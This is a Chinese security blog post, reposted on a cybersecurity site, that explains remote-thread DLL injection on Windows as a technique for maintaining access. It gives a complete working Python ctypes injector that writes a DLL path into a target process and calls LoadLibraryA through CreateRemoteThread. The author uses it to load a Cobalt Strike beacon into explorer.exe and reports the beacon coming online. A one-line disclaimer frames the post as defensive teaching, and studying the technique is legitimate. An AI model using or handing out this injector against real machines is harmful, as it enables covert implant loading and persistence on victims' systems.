维持访问-远程线程DLL注入分析

admin 2021年10月1日04:32:01评论214 views字数 4460阅读14分52秒阅读模式
维持访问-远程线程DLL注入分析
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

最近被dll注入卡住了,再加上忙毕设,所以更新慢点。。。
DLL注入


DLL注入技术是进程注入的一种。是向一个正在运行的进程插入代码、注入代码并执行的过程,我们注入的代码以动态链接库DLL的形式存在,DLL在运行时按需加载。
dll文件是动态链接库,是一个包含可由多个程序同时使用的代码和数据的库,和exe一样都是PE文件格式,DLL不能直接运行需要调用,正常入口函数是DllMain()。

本文通过py2.7使用ctypes库进行DLL注入实现,解读一下最基础的远程线程DLL注入的原理。

函数了解


主要需要了解3个API函数,其他几个函数详解见《维持访问-代码注入分析
LoadLibrary来动态加载DLL文件
GetProcAddress用来从导出的函数或变量的地址
CreateRemoteThread函数将创建一个新线程,该线程运行在另一个进程的虚拟地址空间。

LoadLibrary函数
LoadLibrary可以动态加载DLL文件,加载到调用进程和内存中。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw
HMODULE LoadLibraryA( LPCSTR lpLibFileName);
对应参数
维持访问-远程线程DLL注入分析
调用成功则返回模块的句柄,失败则返回Null。

lpLibFileName参数是DLL的绝对路径,通过调用该API并传入参数即可完成DLL加载。由于API函数在计算机中有固定的内存地址,在dll注入中我们需要的是该函数的内存地址。

通过创建远程线程方式调用该函数,并把DLL绝对路径传给它实现DLL注入。被加载的dll文件会自动运行dll文件中的DllMain()函数完成调用。

GetProcAddress函数
GetProcAddress用来从指定的动态链接库(DLL)检索导出的函数或变量的地址。

我们就用此函数从kernel32.dll库中获取LoadLibraryA函数的内存地址。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloader
api-getprocaddressFARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName);
 对应参数
维持访问-远程线程DLL注入分析
调用成功则返回指定函数的变量地址,失败则返回Null。

这里用python有很多坑,ctypes库调用GetProcAddress函数时需要指定特定的参数类型,返回特定类型的值,才能得到LoadLibraryA所在的内存地址
ctypes.windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p]ctypes.windll.kernel32.GetModuleHandleW.restype = c_void_phandle = ctypes.windll.kernel32.GetModuleHandleW("kernel32")
ctypes.windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]ctypes.windll.kernel32.GetProcAddress.restype = c_void_pLLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA')

维持访问-远程线程DLL注入分析

后面几个API函数详解见上文《维持访问-代码注入分析
OpenProcess函数
使用OpenProcess打开一个进程,并返回进程对象的句柄。
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid)ctypes.windll.kernel32.CloseHandle(h_process)

VirtualAllocEx函数
在打开的进程内申请一块小内存,这次存放的不是shellcode,而是DLL的绝对路径
dll_path = b"C:\Users\lcg17\Desktop\cs\beacon64.dll"
绝对路径的获取可以使用os库来完成
import osshellcode = os.path.abspath('beacon64.dll')# shellcode = "C:\Users\lcg17\Desktop\cs\beacon64.dll"shellcode = bytearray(shellcode)arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, len(dll_path), 0x1000, 0x04)

WriteProcessMemory函数
将dll绝对路径写入已打开程序申请的小内存中
shellcode = (ctypes.c_char * len(dll_path)).from_buffer(dll_path)ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, shellcode,len(dll_path), 0)

CreateRemoteThread函数
可以在打开进程的虚拟地址空间中远程创建一个线程。
我们要用此函数实现:在指定进程创建一个线程,线程的动作是调用LoadLibraryA函数加载DLL文件。

函数原型上文讲过,这次重点是4,5参数
第4参数是调用函数的指针,传入LoadLibraryA内存地址,但传入时有个要求参数是一种类型的函数指针

维持访问-远程线程DLL注入分析

在c中转化简单,在py中需要用ctypes库将内存地址转为函数指针
LPTHREAD_START_ROUTINE = ctypes.WINFUNCTYPE(wintypes.DWORD, wintypes.LPVOID)start = LPTHREAD_START_ROUTINE(LLA)
第5个参数是则是传入LoadLibraryA需要的参数,也就是DLL绝对路径
handle = ctypes.windll.kernel32.CreateRemoteThread(h_process, None, 0, start, arg_address, 0, 0)
这样就完成了我们的dll注入

测试



使用CS生成64beacon.dll,注入程序测试的explorer,pid为2984

py源码
在测试源码的时候,发现py就是实现不了,ctypes用不熟练很多的坑
经过半个月的摸索,改了几处问题,终于上线了。。。
import ctypesfrom ctypes import *from ctypes import wintypesimport sys,os
def inject(file,pid): PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if h_process: dll_path = os.path.abspath(file) print(dll_path) # dll_path = "C:\Users\lcg17\Desktop\cs\beacon64.dll" dll_path = bytearray(dll_path)
arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process, ctypes.c_int(0), ctypes.c_int(len(dll_path)),ctypes.c_int(0x3000), ctypes.c_int(0x04)) buf = (ctypes.c_char * len(dll_path)).from_buffer(dll_path) ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, buf, len(dll_path))
ctypes.windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p] ctypes.windll.kernel32.GetModuleHandleW.restype = c_void_p handle = ctypes.windll.kernel32.GetModuleHandleW("kernel32") ctypes.windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p] ctypes.windll.kernel32.GetProcAddress.restype = c_void_p LLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA') print("LoadLibraryA:{}".format(LLA))
LPTHREAD_START_ROUTINE = ctypes.WINFUNCTYPE(wintypes.DWORD, wintypes.LPVOID) start = LPTHREAD_START_ROUTINE(LLA) handle = ctypes.windll.kernel32.CreateRemoteThread(h_process, None, 0, start, arg_address, 0, 0) if handle: ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ctypes.windll.kernel32.CloseHandle(handle) else: print("create handle errer") sys.exit() ctypes.windll.kernel32.CloseHandle(h_process) else: print("open process error") sys.exit()
if __name__ == '__main__': inject(sys.argv[1],sys.argv[2])

维持访问-远程线程DLL注入分析

成功上线cs

维持访问-远程线程DLL注入分析

维持访问-远程线程DLL注入分析

注意

注意DLL文件位数要对应如果DLL被注入的进程是64位,那么应该使用64位有效负载,32位程序应注入32位dll文件。

本文始发于微信公众号(XG小刚):维持访问-远程线程DLL注入分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月1日04:32:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   维持访问-远程线程DLL注入分析https://cn-sec.com/archives/373952.html

发表评论

匿名网友 填写信息